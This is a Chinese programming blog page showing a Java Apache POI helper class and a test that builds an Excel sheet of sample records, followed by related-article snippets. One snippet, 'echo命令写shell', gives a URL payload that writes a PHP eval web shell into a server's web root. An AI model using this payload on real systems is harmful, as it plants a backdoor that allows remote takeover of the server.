ExcelBuilder.Java
package com.coracle.yk.xmanager.util.poi;

import com.coracle.yk.xframework.util.BlankUtil;
import org.apache.poi.hssf.usermodel.HSSFSheet;
import org.apache.poi.hssf.usermodel.HSSFWorkbook;
import org.apache.poi.ss.usermodel.Cell;
import org.apache.poi.ss.usermodel.Row; import java.util.List;
import java.util.Map; /**
* Excel工具类
* 创建Sheet, 填充数据
* author: huangbaidong
* created : 2016/3/18.
*/
public class ExcelBuilder { /**
* 创建只包含标题列的sheet表
* @param wb
* @param sheetName
* @param titleNames
* @return
*/
public static HSSFSheet createExcelSheetWithTitle(HSSFWorkbook wb, String sheetName, List<String> titleNames) {
if(BlankUtil.isNotEmpty(titleNames)) {
return createExcelSheetWithTitle(wb, sheetName, titleNames.toArray(new String[titleNames.size()]));
}
return createExcelSheetWithTitle(wb, sheetName, new String[]{});
} /**
* 创建只包含标题列的sheet表
* @param wb
* @param sheetName
* @param titleNames
* @return
*/
public static HSSFSheet createExcelSheetWithTitle(HSSFWorkbook wb, String sheetName, String[] titleNames) {
if(BlankUtil.isEmpty(sheetName)) {//如果没传sheetName,给定默认值
sheetName = "Sheet";
}
HSSFSheet sheet = wb.createSheet(sheetName);
sheet.setDefaultColumnWidth(20);//设置默认列宽
sheet.setDefaultRowHeight((short) 300);//设置默认行高
if(BlankUtil.isNotEmpty(titleNames)) {//设置Sheet首行列标题
Row row = sheet.createRow(0);
Cell cell = null;
for (int i = 0; i < titleNames.length; i++) {
cell = row.createCell(i);
cell.setCellValue(titleNames[i]);
}
}
return sheet;
} /**
* 创建包含标题列的sheet, 并填充数据
* @param wb
* @param sheetName
* @param titleNames
* @param datas
* @return
*/
public static HSSFSheet createExcelSheetWithTitleAndData(
HSSFWorkbook wb, String sheetName, List<String> titleNames, List<Map<String, Object>> datas) {
if(BlankUtil.isNotEmpty(titleNames) && BlankUtil.isNotEmpty(datas)) {
return createExcelSheetWithTitleAndData(wb, sheetName, titleNames.toArray(new String[titleNames.size()]), datas);
}
return createExcelSheetWithTitle(wb, sheetName, new String[]{});
} /**
* 创建包含标题列的sheet, 并填充数据
* @param wb
* @param sheetName
* @param titleNames
* @param datas
* @return
*/
public static HSSFSheet createExcelSheetWithTitleAndData(
HSSFWorkbook wb, String sheetName, String[] titleNames, List<Map<String, Object>> datas) {
HSSFSheet sheet = createExcelSheetWithTitle(wb, sheetName, titleNames);//创建包含标题列的空sheet
fillDataToSheet(sheet, datas);//给sheet填充数据
return sheet;
} /**
* 向sheet中填充数据行
* @param sheet
* @param datas
*/
public static HSSFSheet fillDataToSheet(HSSFSheet sheet, List<Map<String, Object>> datas) {
if(sheet !=null && BlankUtil.isNotEmpty(datas)) {
Row row = null;
Cell cell = null;
Map<String, Object> rowDataMap = null;
Object columnValue = null;
//第一行是标题行, 所以从第二行开始插入数据
for (int rowIndex = 0; rowIndex < datas.size(); rowIndex++) {
row = sheet.createRow(rowIndex+1);//从第二行开始
rowDataMap = datas.get(rowIndex);
int columnIndex = 0;
for (String key : rowDataMap.keySet()) {
cell = row.createCell(columnIndex);
columnValue = rowDataMap.get(key);
if(columnValue instanceof Integer) {
cell.setCellValue((Integer)columnValue);
} else if(columnValue instanceof Long){
cell.setCellValue((Long)columnValue);
} else {
cell.setCellValue(String.valueOf(columnValue));
}
columnIndex++;
}
}
}
return sheet;
} }

ExcelTest.java

public static void main(String args[]) throws IOException {
String path = "d:\\statistic.xls";
//POIFSFileSystem fs = new POIFSFileSystem(new FileInputStream("d:/test.xls"));
HSSFWorkbook wb = new HSSFWorkbook();
List<Map<String,Object>> datas = new ArrayList<Map<String,Object>>();
Map<String,Object> map1 = new LinkedHashMap<String,Object>();
map1.put("name","zhangsan");
map1.put("age",10);
map1.put("sex","男");
map1.put("birthday", Xiruo.stringToDate("2015-3-5 12:22:33"));
Map<String,Object> map2 = new LinkedHashMap<String,Object>();
map2.put("name","lisi");
map2.put("age",13);
map2.put("sex","女");
map2.put("birthday",Xiruo.stringToDate("2015-3-6 12:22:33"));
datas.add(map1);
datas.add(map2);
HSSFSheet sheet1 = ExcelBuilder.createExcelSheetWithTitle(wb, null, new String[]{"姓名", "年龄", "性别", "生日"});
ExcelBuilder.fillDataToSheet(sheet1,datas);
//false表示不追加, 每次都重写
FileOutputStream fileOut = new FileOutputStream(path, false);
wb.write(fileOut);
}

apache poi 生成excel的更多相关文章

  1. Java中用Apache POI生成excel和word文档

    概述: 近期在做项目的过程中遇到了excel的数据导出和word的图文表报告的导出功能.最后决定用Apache POI来完毕该项功能.本文就项目实现过程中的一些思路与代码与大家共享.同一时候.也作为自 ...

  2. Java下使用Apache POI生成具有三级联动下拉列表的Excel文档

    使用Apache POI生成具有三级联动下拉列表的Excel文档: 具体效果图与代码如下文. 先上效果图: 开始贴代码,代码中部分测试数据不影响功能. 第一部分(核心业务处理): 此部分包含几个方面: ...

  3. 使用POI生成Excel报表

    先把报表模板截图贴上来 下面是POI编写的报表生成类ExcelReport.java package com.jadyer.report; import java.io.FileNotFoundExc ...

  4. 使用Apache POI导出Excel小结--导出XLS格式文档

    使用Apache POI导出Excel小结 关于使用Apache POI导出Excel我大概会分三篇文章去写 使用Apache POI导出Excel小结--导出XLS格式文档 使用Apache POI ...

  5. apache POI 导出excel相关方法

    apache POI 操作excel无比强大.同时有操作word和ppt的接口. 下面讲解poi中常用方法. 1,设置列宽 HSSFSheet sheet = wb.getSheetAt(0); sh ...

  6. POI生成EXCEL文件

    POI生成EXCEL文件 一.背景 根据指定格式的JSON文件生成对应的excel文件,需求如下 支持多sheet 支持单元格合并 支持插入图片 支持单元格样式可定制 需要 标题(title),表头( ...

  7. POI生成EXCEL,公式不自动执行的有关问题

    POI生成EXCEL,公式不自动执行的问题 场景:POI读取Excel模板. 当使用POI操作Excel时,发现由POI生成的公式能够在打开Excel是被执行, 而事先手工写入Excel模板文件的公式 ...

  8. Java开发小技巧(六):使用Apache POI读取Excel

    前言 在数据仓库中,ETL最基础的步骤就是从数据源抽取所需的数据,这里所说的数据源并非仅仅是指数据库,还包括excel.csv.xml等各种类型的数据接口文件,而这些文件中的数据不一定是结构化存储的, ...

  9. 项目一:第四天 1、快递员的条件分页查询-noSession,条件查询 2、快递员删除(逻辑删除) 3、基于Apache POI实现批量导入区域数据 a)Jquery OCUpload上传文件插件使用 b)Apache POI读取excel文件数据

    1. 快递员的条件分页查询-noSession,条件查询 2. 快递员删除(逻辑删除) 3. 基于Apache POI实现批量导入区域数据 a) Jquery OCUpload上传文件插件使用 b) ...

随机推荐

  1. 通过Spring @PostConstruct 和 @PreDestroy 方法 实现初始化和销毁bean之前进

    关于在spring  容器初始化 bean 和销毁前所做的操作定义方式有三种: 第一种:通过@PostConstruct 和 @PreDestroy 方法 实现初始化和销毁bean之前进行的操作 第二 ...

  2. echo命令写shell

    http://site/x.php?x=echo ^<?php @eval($_POST[x])?^> > D:\wwwroot\x.php

  3. OC-block

    #import <Foundation/Foundation.h> /* block要掌握的东西 1> 如何定义block变量 int (^sumBlock)(int, int); ...

  4. Yii2 rules验证规则

    Rules验证规则:  required : 必须值验证属性||CRequiredValidator 的别名, 确保了特性不为空. [['字段名1','字段名2'],required]    //字段 ...

  5. Yii2 使用 Joins 查询

    Join() JOIN_TYPE = INNER JOIN, LEFT OUTER JOIN, RIGHT OUTER JOIN, FULL OUTER JOIN 等等 语法 $query = new ...

  6. FMDB 多线程使用

    在App中保持一个FMDatabaseQueue的实例,并在所有的线程中都只使用这一个实例. [FMDatabaseQueue databaseQueueWithPath:path]; FMDatab ...

  7. Linux服务器管理: 系统的定时任务crond

    cornd 是定时任务的守护进程  这个服务系统是默认启动的 [root@localhost/]#/etc/init.d/crond strat|restart|stop [root@localhos ...

  8. 关于EXCEL学习的那些事

    由于在客服中心工作,虽然日常工作基本与数据打交道,但是周围的同事对EXCEL基本不怎么了解,仅会一些基本操作.所以基本日常我会被问到许多EXCEL相关的问题,也针对这个做了一些整理与思考. 之后无意看 ...

  9. SqlServer中字符串和日期类型的转换

    SQL Server Date 函数 定义和用法 CONVERT() 函数是把日期转换为新数据类型的通用函数. CONVERT() 函数可以用不同的格式显示日期/时间数据. 语法 CONVERT(da ...

  10. Mysql InnoDB行锁实现方式

    Mysql InnoDB行锁实现方式 InnoDB行锁是通过给索引上的索引项加锁来实现的,这一点MySQL与Oracle不同,后者是通过在数据块中对相应数据行加锁来实现的.InnoDB这种行锁实现特点 ...